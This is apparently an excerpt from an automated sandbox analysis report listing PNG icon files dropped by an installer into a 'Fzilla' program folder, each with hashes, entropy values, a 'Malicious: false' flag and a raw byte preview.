SHA-512:	F2FEBF0752B10594CD485BD521DBE10BA69A615E28CCF00C98657587A05E7BD9F5D78FFC8C2866AFAC7E877E6C0A4B1750614C7EE2714EA76ADD1FADA20200EB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....k......$.c]...m..l.m..m.xx.dw...u.k.....Uo5....."..].q0...~......#Ed8...... ...".j8'..v:....L.....J.......E-.~...<..'..m[..t.R.....C...j\........V+..\|.c..]......#2......E...1.8.l6.y......]....>....4.?..~.u..............o....?...(<?. ../[r.../.###.._..Z.q]0...EQ8..gm.\|..l.....S,.X.\|.i4......\..k-.....;v9...I.Di....k....(....z.W...=.....h0.z.>'.h.F.B..W...Qh.z.;m+#y.5..'.mq..{y...^..E.......BE...>.J@...hR%....O.8Mv~V...Z................9....D....."...R.H....&..yir.I.oi.O......c.....E..\|.DzwU."-5;q~Z\:W....B.%....)@..FG.!..cE......J&..D..BB.............6x...q.:\.B..H.:Kd".}..R..Z..UL.B.g......Zc.z.B.^%..T..&'..1..&......k'J).....x5X ..H...FS..q.R-.6].&.mH...#..........".'...$...ZA...0.]$!.,...i..N,.2.j.Z}.O..0....r....#....G..%2..X.c<a.ZF.R.:Y..-.^.&.S....F=.bi.b.@.....o<.$.-._...l!.$....(..C....x$._q6.]x&...\..b ...T.....ST..Q..s....K....w....H..\|b!.......J....`....g.C8.S8...{.Nl.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-I5P2U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3958
Entropy (8bit):	7.939912815756129
Encrypted:	false
SSDEEP:	96:zvfDi8+Y4SRfcC5nEjMoNJJ2OyDO0UAwrDOzB0kronSeEY4c8g:zvbCGcSEjMoL4GAuIo7EY4M
MD5:	19F9B1196AF410D6464FBE5372A883B3
SHA1:	73F8CFF476C2094075BD10D93E748FA85F949159
SHA-256:	4F19F553355FEFAD7F97214FDC8D5E5F3E13BE39C29E0D1EA32729C215D8A392
SHA-512:	449D9CC7B65D050B7CC2ACB24F948E90CAFEFC0867CEDA608B2DBA427F8A327AFDE2D5BE69676C8D3298872506DD52A516618299E1CD96CE681B2E8578111D53
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......=IDATx..Y.t.........2....R...0.k..].1.qG.[q.B.T.6.'..7./...Yt..w..+g.....i..k..<3.....1h....&Vev,^...8...4..3%F..Mk....P....b?.r..,+....QX.f.X..~.nj..}.[...gvD.A.x...I...?...n.9....w......`-.. lv......S....f.......!!....=..0B.....&.x.5af....q..y.t+.8Mf#dE....F...;...qba\..o.[<Ms.M/:e.......v>..F...%s...)...z..n...8...8.E<N..P.y...N.C...[X2kyvn.....A2I.&L.q..:...........%c...Mv....\%3_.8p..6gg..=Y8qf....u........\..bq.i..r..#...).8k....]..(.G.....]....2.5.dM..9.^hJs..,,.>....qd......m......~(..g.............Sn6...r.........P8.#u>..!.=.0.....2.VH..w..;.l......i...=z.x...8\.g9.&.e[..O?F\|...K...C[.0....7.@vv...0L.t.QD....;.p./..>@..b...{+...NW0t-}M^.D...Vd.@..:...j.N..z.<.A....\|@.\|.Z.T.w....?l......8.2...Y..0.O.....6...`.e.w...OU...H.3.{.....X.@...X.H.....NDC..._..c..........8{.'c....x.H....]!h-...x..H*.T......N1.:.\|...4....P<.._...m.........7.85'#.Ix.I9L...4..l..}.T............s.F...3...?..u.g.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-M3FF7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3565
Entropy (8bit):	7.93195872640527
Encrypted:	false
SSDEEP:	96:7TdMZqz3hDWHE23fwYvVkWBosfO/2VYzNawN:7T6qzxDWH5Pw0asfMcYxawN
MD5:	AEFFCB818F38E69BFD3753EB0F808860
SHA1:	F83F5BD803C5CF7EC6F29E86CD1706DF746E1D8A
SHA-256:	FC687FF2251BC921E99469FE061BC47B16D036F640672336F234F9218486E597
SHA-512:	10C9E1EF18B9374EFB36792F9C28DDE110F6CDA2C502DEB98B8CF56AE9E624EB52FD35659FEC40A9C0CC03E7D42ECB848FA19E5940734016921641CC318E4B36
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.t..=.-s..5..........<fffff.23S....1I..Q......'...h,..>83.....%.-^....g...E....B\.1......T._.~..3.m.\|....(..&......x ...@....f3..F.f..N.)......... .....#...g..E..f{...~.u..M..&....H]@L'..<.:...M....itt.;x.o~....}.C.&....oijj...1...c(Im.q..e(.V.m7..a..].w...#...g....._9.n;..B.c...J...g<..l.......8.r...>...D.....!........p4..9M..3K..3J.n.Rqq1....~.+.....H\|.....?.`QQ...=.yV..........`G..x......7..Z]v..H$..x.5.K'.F..p8Q..?\|.,T.7...T{.......~.3....{......0~Y..?.9.g.........._.e....m..7......V.9Uh. ...q8....=...GG..".m.............).../~..B.Z....B..x..V...M.V....._.s;].M.?P../.....Y..l.e...?.$......(u[l...+*.w..X.4_....Deee....W.,Z...;v..n...8......V....Ct.s,..X.-.l....2.QB.HF.....Q....%..+...xKc....#..?..c]].UTT4Y......F@...X....E.i......1.cukq0....5!...m.0..."]..D.z_h.....lp.....#_.C[&.L2c.7o...w.2.....N.s+g.x<N?..Ce%..S.-q.t.B0.\Nh.U.,9"..lVHZN....g.%..";..q..~w.<-../G(......(

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-MAP4L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1843
Entropy (8bit):	7.8738847492957476
Encrypted:	false
SSDEEP:	48:DiqImLLnLvgPSTvIKvzzB80qyyPbW5fG+QSRlP:Dff3XXvm0qycafGsP
MD5:	D9E53E4C4EB2CBE6FAD2357F58C0F32A
SHA1:	6A8F3EC636BB4EECFBD50F5E5934B85BEAEC8A04
SHA-256:	2C75A2AE4A4ACA5E4434AF672386A2F30C21A86CF3580CE4E4B68CCBC80125BC
SHA-512:	C0DE3072593B941A69BD66A7A28F73A7894103861D41A1B808C187D00308DC4DE0C9EAFF996FD4DEACBA643E1A5C5BA72FC6F27B757F2382DD8BA199BCA7937B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...td...w.{;..d..m....m.....m...tl'.[U..y]/..gu...Z.:'..{W......W\q.v....T..)...dZ........M...0..3....a.0.RtC..@..4...%.$...i.i......G.@...;vo...e.s..e..?T.!86.....G....>.sr.{./s.... %...y..K..r......z..p..........."..C.V.E.....z.g....9'.;...........(..m.+p...y.N.sw.e.<3.}:<@.....U.L....[...".)..{.8.}.....Z=/.5.m..&....:.D.i$$....W.D.....@.s..>P....b.9.._......f~.8..[....@....%...p...0.5..."D.A.$.G...A.....{Lcg...N.w.i.....f..v.!e$`7.A.T.sz....+...Eh.d6.. C..q.l.....Pc..C2=.z..r^....+`.w.Z=.w....J."l.!H.YB.d."..q.......8v.....~L...".8....<..U.2A.Ie..d...0..`....g.^..w(.....b.9G$...,.4W,LO..;@.Nc@..A.YuF...,.W.j$..G.F.o......W..v...f..\p. i.e.....R.a.2H..t.V]....w.6.x..\|9.qF.r)vT.Bn.Z.T....U.....l....5.8z...x..>...y"b.....[.KO.!..m......i.0.LF.1P...g. .y......V.c........K..T...W....{bp.$...c.........#$....a....AY..P1J..".v%..7...........=s*3..!yU.`Y&zt.eB.....(`]...u^.a.Le....4..p0..`.A...2.#.&!..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-MESBF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3700
Entropy (8bit):	7.93242842780909
Encrypted:	false
SSDEEP:	96:nMrGWYGc1WwoV4BxcbizqJWjwrp5d6JIFfw+:nMw1HoLb8qc0V5yIFL
MD5:	348FCA67F17E5E83D0126DCFEB12B782
SHA1:	AD4BE19618E2C6DD460A83B092CA6C105DADCBD4
SHA-256:	AF74F84098611387D43535436D4768E2AA3EE910C21F26328295EF3443891805
SHA-512:	2D62AEE1D0E13C16DB42364B8F71FE466B44160DAA4375D9BC457BAB7EDADAED50BA28BE4C1C66A197F745E2AB2A9C381D91391F15D85E8E15A53B4917F354BA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......;IDATx...t.I...jI.d..S,;hg..af..,.0C...cZf..e.a.pp..2c....uW.J..DK.e...S-........o..~.\|.C....y....;<.s.W..../...C%.W....X...{..s....s...e=~k..{>...~...[.!m..!.gA......YH..%.!..P....-.-..1@.......B......#F....5}..G...47w...z..y._....d@}........~#.%K.......B..., ."6`!.l...?.(....o..sZ.;.\..I.....F..d#....zBaI.....-..{....d.....?6o~...~.H.....de..v..e ...dB\|.-X..............K.s..w..m<.j....-.......DO.K.M'..<.:%.&1`..cx...H...9t.!..-[.\|..Pmm ...J%..... .@..c..i.7..3...P.PX..F...]..............GAA....%?.g b2\|d5c.X.i+=..`........e....C.I...l\....x.-..k..o<..\[;$)D....^...kW._...k.#.7?...#.O T...e.0..5.4..T..~..?......l<.A....-.7y6...5o.g..Y.L.Ehp.....b.P...FN..P4$.+.\....{]B.........!.T..>...v...Y..qj..:..Qb?`..../.n..'..B....nQX.GG(...R&..EUp....@.S.]..$8.....@+..:u...J..r.,.i..s.M.] .X..........0.,...5...T..........'j...NO.[n..7N.6..%3k.....c'hhj......k...G.!.f.$?..{.L.]KgPZ<...K..F.\.\|.55%....?..R..a...n.0.....r..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-N25RJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	709
Entropy (8bit):	7.564612361908848
Encrypted:	false
SSDEEP:	12:6v/7x015G30ZW7iF7tG4Fwc4f2aTQEy+y07HqmCqHGUm91AgFxk9Ki1yEz/0YD/B:S+GAN7tXzwQ9+yUqlL99KgFxkt1yE7d1
MD5:	12D8C74406C83D429F22171ADC4B7C69
SHA1:	00B725F1D485D76AF564E3AFA4E2A21B35CD842A
SHA-256:	7DC03B1EB21957A539D11D8DD73EA60FEF37F56ACEF5401C0DEE3DC06977580B
SHA-512:	45029B351061DF6A5284D167B0CB8AEB0E88F227BACEFB4F45AEDBB436702E61EB620003292CFCC2DB4C93AFCE44FDD98D7674BE3692983B3F94C586F2E4E746
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx..7..@........$xO.%8.7..k..'.s.2..........b.J...vOO...H.p....K.F$ S.1..L....L]....K.."..a....%j.,.]....V..le.w....\.T.e..Hb...h...b$(.V.(.0.'.....}x......(....T....y.^...$8H.F."....z..1.a.H....!.}.{..t..x4G.d..98......b.......8.3...(. ._0.0..,0..T8..Z..M.E.G.WF.hD.....O.p..n...!9..9X..LG..K.EN..z...........C.N....D<"9p.G....Oq.2.).t.h.......I.oD.q..v...J...M....<....).............o.Q'..T.."._#.t..5.......C~....AnpPz..L..yD.9..w.........{E..8.....S.w..)......a...jh.0./0e.J..`xz/..s..:.%O... .I,0...3a.%P ..u)9e....&l.........*...t.......Ru.mv..Y.i.....%..^HU.._7>..W.}s.....0...0..e.....ao........1...g.#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-QOILS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1390
Entropy (8bit):	7.810703822240352
Encrypted:	false
SSDEEP:	24:FAQZHazTuRfJSnI0RQ3ThXdw2anL66jR7nVwaq50CYKqXf0tEXuHhL60DC1:2INJSILjUPxq5nYK8f0t7H40DG
MD5:	9DDDFFB20FA0247020676B3B7A1B7924
SHA1:	E5864D06F8F5F9A7A4F16BB5A091A5B1BC7B04CC
SHA-256:	1268FF3542A98272B712FAB43D6FB0FCB11BDCAEA087E7F336D1E5803AB87D23
SHA-512:	C1D2E3ABAC927D3460472DD084FA4E0208B23A4A7E69E47A93DBEDAE279D841CE0CAF1E5DF08518152FD0B774305EAB27F5A8D5622276C53FE1B7D589829C57C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......5IDATx..X.teI.......=q2..Q0.m.m...m....M..._.........7.p..7..J..%.V.x.oXwd.RE.pb..9.m....@].f..d..M..!.....:X.d.9 ...V.Z...J..........<.7.:,........G...<a.4!@..R........sv..fn..\|...$."...Hd"J.\D,...........v.4n.p<.....R..F.B.F......5.....s..U.r.(..H....J.XmV...#DD.&.hw.\.r....s.h.Y.f.3....l$.7n^s....Z.n.....g.^..[.\.K..C..l....k6.`.....+....(Q.l..=.5j.`...?R.(.(c.P[.-f.\..'.3....n.IH.5=.T..\|....c..(..)gT..t9...Z.m....~.....-Z..%.........e.Tj...N.....S.T..P..Q!./_......w....^%00.L.~.......f.p45.j...e.0r.p=n.....lH...H>6o..!.......g.^..O.2..G\\......H......`.....1..j....1...o..~.o./T..f#.@d..{..m.#F..ILL.....5k.g..m\!...,Wr.U.o..#...]....B.I.H:.....>.....9$,.....@..\..u.<..:..+......*j.F...?.f....;. .. !!..{...Y.xq..+W&...={<.B.......9.,...AGi0..?..<.7Z.l6...L.{t.DDG..s..].....d!.p.gXx0.Bd.Y......{..E.....X8....m.zw.GG..v...../..o_.?.=y..s.pN..G..:..W\...R{`.v...v:....ggtL......m.......7..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-QSCJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.770380882141665
Encrypted:	false
SSDEEP:	24:x3uhV0ZUxZOGqBvQIF8ikLFZOKRfWHbi6p/zoUo1g9VDI5aHWEDmZwITN:x3W/0dv2ZfOsChzoUo1g9+YHciITN
MD5:	766B3B9AD4A2C694C2A13A64793F58B9
SHA1:	19C2898FFF76AA47E2A182521B9558D0112F2BF4
SHA-256:	FC37900AC076661554F18A6F7D27E5ED6B7E254E945B01F61BEB0650BD2E88F7
SHA-512:	32E93CEA74BAE9A329EED86134809BF8D596AA70DFD7717D91D16C6CE6E6FFA29EA2F98F9DF0D3FB4C81FD8765B14381D6807F9D15483928B097F28283FC1092
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....>IDATx.....<M...OU...:.m.m#>#8[..\|..m.^kv...J.I%..u.J.....}.4._C......i5.....N#.....N.b........Z.......R..zu....4...'....y.3....>.J.r...q(.R.}..d...UA........B.e\...}.(B...a@..8.@.................ut.GW..fB...}.eD...j.!.@.........W..(#.o.. "/.I......B..4`WuD.Bo...Y...Y...cZ~.Y.z..n.P9...D....\..b.E:@..D.o...]....{......&..7..E.0<.....d..J..kx...f.#..z.'i....u..y...=b..)..........\..]...g.......QZ..o..-..gk....{{O...!.....[j..B...".g.7...b..i.W..+.L.2 ...eDn...$....F.\.c...%@..9.\.d.....'Z.K.ss.s#........(.h.p?..}H.y{..N....u...'..] !JW....-.......ys....Fm...&D.N....s.......O....^%...2.......E...G........US.WKK.f........C]...:....w.....@.gA2WY.....#..P..A............`..dIk#..F.L}&...G ..4._.......T..jb...p.>.....3(...O.....FT.sB...0r...}... .N......2....T;.K..=..../'{...O..t..`7....T.5..>..3....s.....FR..?..}..d:..N....=Y.Es9`d....r.C.....`":n.<.Mal..g..t.!.....G.>..Z.?...'....N...V...../*

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-QTUK4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3213
Entropy (8bit):	7.911617835298954
Encrypted:	false
SSDEEP:	96:E43eHy/MWl3Qen0eqQDYGGqw35lemxDpRKU4ek0X8m+:H3UyU4gew2VO32mxDppam+
MD5:	921395EB0850E453CD56C468CE2A28E2
SHA1:	DF4F292AE783C2CDE7E54D7D988BEF671080FC93
SHA-256:	249A51F84DFAF1B86E10E08C7430C18AFFFB6BCFBE09B86EBC6B727D7E6F3FF4
SHA-512:	8F0DAC6BADFC43F79139D4C6A70EA73CD4725073E32FEB624CFE26C4F49EA84BE9AFBCD1BC224637DC4A2287EC843DC23A6B689F4B23E6DA1009C69D3E0087AC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......TIDATx...t...._."S...t.%'L......ef\|..L..sx0...'3cf....V.....e.xy.7.u.~E.....E..V5...Df-....Y`2.p.%)2.=+ ..K];..G..6./z.g...?PUZo.Z4Z...eA-.4L"......GR...1....Ma.........7=......o7x....}0v.....^y8h}..../_>.X4w.Q.. ....yS......#..;.K...O_..R..m..D..mx....G+.....'$..'.y.X...?......s#/^.... .7......B..p.$..,gE!..k...w.X.@,-...cuW.W.dU.%.B..#.......}!.....\..........A.?.^..{.P.FW....=......]..=..O\|{...;...M...{....o.{!.ZS.....myS0.}...X.....z....&...\@......1.."l..w..mx.yeas....'?~....#.....Z.}.Z.T6'ZA..y..K~..BS.-..}e.......\...A.z?/.QN`zppA..3h.-...qp...w;.ue..-o.M.....n.Q....T.B..>.........(/"@8...R..BH...SW...`..s....................9V,j..5..^...&.l~.z.+...K..z_....us..=.H;8{...jm..,).fW.T..9.....UJSc..P...@...n...t.c(.A"...1..."D.t.......u..Q....M...3SS....N...U&$....2u.......\|...M.@........{..3.w...Y.5......d.c...\MN........$*.:.)'..8.T..Pz....._...r.@..V'..S.2H.5Ua..C....c...1...'.......T.=......h.)..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-RDVC9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	7.9283984063588
Encrypted:	false
SSDEEP:	48:FmlNjx/2qMfRjwKXrr5VrqEp9Kx5VpyVeK0Pf25+LqTrv4tSZ6L7OAF30:FeNhYt/KlrbyVeKQf25+Ar4wSJ0
MD5:	6B99D53FCED3E148D3EC6DEECA0E4D95
SHA1:	407CBAAEE58505A77D85FAE858D9F9C93E9C3728
SHA-256:	D8D42A574006828DBE3C430D2035C5ED6367443F962DF20A6A8106CDB9A3AF25
SHA-512:	6F07A603CAC51B5481564FD90893E85AB20AC8CF371E53C22D864A79ED875C704FB4D1FC77F59D3ACF1C042160A6F3669DC0716D225109D8B6898D58F685300E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......jIDATx..Y.t.H....S..b.....L.?c......3/....-.b..R..vlk...Ig.z.c....H.\|s.7.H.........[m.O.8.>e....-..'o.J...J.Ke..............7...}.&o.sU.)..=...3./....#..y.....dI~..&".......K:;bO....L1....z)Y=.s...o}"'..0.....FZ....gr.....J,.../\|.j....=..?...........v..#.x..{.d..'7.~.....\_XR...{.QL.......@.....lJ......rJ.D..-...-X.w6..#l..o../..F.B\|G'.?...l....ng..x.[.~...>us..&B@.......,%.xi.m......Srp..k....Q. ...?.....).:...K3..k.hhx..d.=.q.......y.......jL:.d..^.wl..9.\|..._..`..T...k..<(..I...PV..9c....mVeN...&.....L..~5-lh.6$...J......K.0.DU..h.~.4V.G1>.....8...r..uo..g.....&nJ.W...4...r.l....x.(....4.M.C....H.V[.....z_.....@.[..8. ..IK..8.Lk.....2.H....f.........Z.!q.&q..i.*..Xu.Sd...0{tWL....t..5.@.i..V.+._.e&.T...~B.. .L.Q.V-...`....o..5/....._L...O..........-`5.I.j....@....\|.W...E.2.[./....m......k...G.YA8...x._...$n......\|"V.8..L.a...E.b......bB.H+.t..k3{a..#.M..S..Q.e.T...)w........K..`..8&o...d.0.\..V.x)E

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-S4U95.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.573388378416767
Encrypted:	false
SSDEEP:	12:6v/7YQawA9KZMHQ3/DM7PvqGowqiVdw7gwqUvlz5nZWpFJV:5Qa5tQ3/uPvH0iHyJW
MD5:	B1392720DE6F62CC053754418ADE5AD8
SHA1:	DDAE0F4376F3DCBE99A094C9A9410AFCDC0DABC0
SHA-256:	54906BBDC39B746A9F373B3F58E63B29B579BE017F434110EE47147849B03405
SHA-512:	7BC21473EBE015ECE58EE59AF5BF1B5669B0D17F8B92A73D5806D7997D85EFA82D729B68D51A0B12E16EB04C15011EB99CEF3E46F83EF04ABAC0B50466C6342F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......SIDATx....TQ....fl.(..."...... ..X "..a.H.%..@.........De%;......5....}..g...=..1?............)v...Mc..)..;W.......;@U..>o.f..qJP.OH.q............-@6......4c.... .J..U.?..M.`.0........{....kt...\.7.z.... ...).qE...{./.M.<a.QH.....r`P.....KE..s.Gt.........o]....;\|.0.....h...HL].1.S......q..vXc2-..o.....y.[...j.y..J....V/..%$....w.%....-.......)...P...2.......{a.."w..?{S~..s..y....>F..9.W.3......e.Y....y.q... .......V.\|.k..*.p.d:d9D.........o..T....r.......q6...l..,k.0..pz..]..3......].a\!.>....U...p.k..\|....I...g/]?..e.....'?.O(... c.tV^[..<}>...9@.3.A30000........1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-SANQD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.7819321259479795
Encrypted:	false
SSDEEP:	24:3XGHu2/uhTvM2r/aBbLNZzz2+9abp/xvqC9cYJ+cYDzq:3XGHL/4TE+ObmbNxpBUR+
MD5:	F6FBCE451E7AC370671E65AAAD372189
SHA1:	900EE8307AC237BA73B0E690E54DD38182D4DEFE
SHA-256:	48B2C9C4743ECB6FBB8B6A22C3E14984441436D25AAE37EC88169997234E55BA
SHA-512:	7DB00BBC3CFDAAB8C02EC71B3BDD2BAC6A768B10D0AE794FC4DE2CB9467F2D3E665F3AB4310CF896C305A868312255AA58F520D6945F476393416C98629BE66F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.b.....`..\...+[.p.s.~.={..zc.._.._..#s.Ul......lll...........8..........1.fEFFr....KJJv...j.H. Z;.1$..33.r3.c;W....'..'03...a........j......_4.N.{..%.p....'O.}..wQ.\......xxx..}...^a..Z...1....)..z.8N.CH..c..k.}.....cccb..H..P...y.M6.E...ss.../>..Sg.).E.K[.nm.....0p^.....bQ2.....5...5....h.,jnn..].].HF....{...R....0...A.A...,./x.....!...<....RQ..<.....1B.XH.....>....\.t^.^.".o\..W.B......I,.:..B.8.....twwI6..j@C.......".v...z..@.}.UD...y....FY.t..Z.Z.,YM.M.....<......L!.JCC.....Z.}..=r\v..%[6o......{.../..".H..-!@H.v:6>f.7n.$..@.p.B$d..Vwtl..O y.....9l%H.0~^...WZr.\|^.:..".do7..P.0....G...J...s.a...QMM.i.....x...<.\|.....TE...3o.}.).y..Y.W.1../..B._.$.B..,...Z..C....F(R.G....\V.8..[..$..x.c.z...I%.Z.]`..mN@.J..H2NQo.........Q.%.m6.{].%...Fs2....9..E*q]....!B..$...Z/..:O!..h.C4.....)<=..z.......H.M.0I..>t..3.s.v.n....C..5..v.<...Ak.+...6.!.E..A...=..Y.@)...LH....k.jl.K......>[6.....}@'..v.E

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-TBTPP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3078
Entropy (8bit):	7.930833999366633
Encrypted:	false
SSDEEP:	96:5EHMnuAX23rN/T5S9ZoPcGiqiDTJgCGHD:5EbAX23rN/9S9Ie5gCGHD
MD5:	9D60501A8CDAC3AB34C8FCA4111F326A
SHA1:	BC6FD46CC7BFA1A1D741D8399EBB2DB033DD2B62
SHA-256:	C399A092C5157509775552F82E803771823285DB96D97F1AE23956738A643249
SHA-512:	E1EEBFA2DB3BFB6688DD7F28C99F387CB9DA40725CF2E6DE841E1F674D30F13626FAD2548DC96C6674C11FD73C65FA43B64066CC3F8D3FF41BAAF661F732C839
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....,...U..Y..m;...\|.m..w.c..;...Q1..w..<..b..UY=...uQ..~.....xwj.!.r.a...p.e...m[...m.E...k.X\..C.C.....\|..x..'....L....1.v`./.?...x.k..F....=.....g.r.L6.....;H.Gp\..n.ym,.tB...G.I....f0I.....@}.}.o~..Td/..Mo]\._.?.. ...U..r..L....^[..s..E..V.y..?.3?..l......_.b..x....x....l7.....f .wj#.xr)V....3.FfB.dD.Y...S8G\|{.F........O.-o\|..w...w'...8.....\|./...sPQJ.l.m....q.~..U......g....B......_..#.a.]*...=......3b.......S....V..(i....%.R.. ."..V../.........,..c.]..3....TovI.c..".z....P8...Q((.........<.>X.....Ji.e+cm........../.....SkR..:.A.2...Tk......B....h).!.m.0/RN..?.J..{8 .........P.D.K.V.............m@.S..d&..'\.3.n......A.s....<@..".".uy....=.M....6..\.}.PHgOV..#Z.i..)..P .$.....<.!....R..7u..@.+$........D>.H.0.qd.B.g(....p...i}...w.....R...i...d.........(.$..'QeFqx..9Qbe1.Z.hm...E..bE.7%...x.9..ID o..^B.....J.8......T.P..E.;Z$.bfk.ffb...s.ZV.....k..L..K...17.{<q....[t..P.....

C:\Program Files (x86)\Fzilla\resources\tango\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1832
Entropy (8bit):	7.836435017394182
Encrypted:	false
SSDEEP:	48:aYSwcXruZoeFp18yilYBsLjn2NRPOQ2nz:7crlG18pl+sLj2i3z
MD5:	7D2D8047F89E29A825FAF45C2476059B
SHA1:	9E76DDB93B99BC6D3FAF75C87DBBD23092E95A0A
SHA-256:	EC08DD5D9D04F4F513076915F82A1C6FB10A77B20FAC118D40307E545CECD875
SHA-512:	611D3D58707A87FE2CDB4F9F1DD01AB49F585C630F83D0BC47C962032E34B887DA284E1BAA4027C284F3B8241C2B63A200D838B8344756495C39FAE7BC27C069
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X..#...!..1_...I.03s.aN~8.0. .s".33~....x.1S.[2..._..lI.=<U].^..{......a..\|.+.%.\|.;>/\|.?.y....7}.;..C..?.A.z..Ck.c... .N...8z.._..W..pd7....z1X]]E..N..'h...w..q.K/z.....o...]!.c.;w.EQ8.lA...p..,,,....;..<v...uDD.EX^^....Ht.].$...t\.h..]k......;....~..... .2..#.^.:..\|....G....=O.s..y3v.T....\|.+....+++$B.#...v1-..6..E....~n.....I....._..^..=.u...'.y...J..t..#?............]ye.N..(...D..0...T..1.....+..c..u..t.-..U<.m.@..`..........%O8......`..6.P......?\[.?..v..[F._..i..$..?....u....t.Q.rP@"V.....>.......3'B.2..}.wn3..9 .....(...+cl...?....pb_.a......iY........$:...i....gl.B{H.......P.....!..@n.hW....P...Y!....c.Q......X.A4#.R.l...v..._......s...a.(.`..2J.8..Bt.a...n..f..>7?..]w?..}.q.#....B&.L...zh.>.....:.\...:..~.n.Rv.bxl..\|.uq...c.@..]..?.~.+.%_H..AD...P.j....+.8p.....{m,v.s..N3`..F'.@.i&..Z.....i\|.O..?]`/O...w...y!$`.g.0.B.@.3q_.X>.T.&.F'.p..."A.J...4x..:................B...0..~.<...Bt...N.E.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.7819321259479795
Encrypted:	false
SSDEEP:	24:3XGHu2/uhTvM2r/aBbLNZzz2+9abp/xvqC9cYJ+cYDzq:3XGHL/4TE+ObmbNxpBUR+
MD5:	F6FBCE451E7AC370671E65AAAD372189
SHA1:	900EE8307AC237BA73B0E690E54DD38182D4DEFE
SHA-256:	48B2C9C4743ECB6FBB8B6A22C3E14984441436D25AAE37EC88169997234E55BA
SHA-512:	7DB00BBC3CFDAAB8C02EC71B3BDD2BAC6A768B10D0AE794FC4DE2CB9467F2D3E665F3AB4310CF896C305A868312255AA58F520D6945F476393416C98629BE66F
Malicious:	false
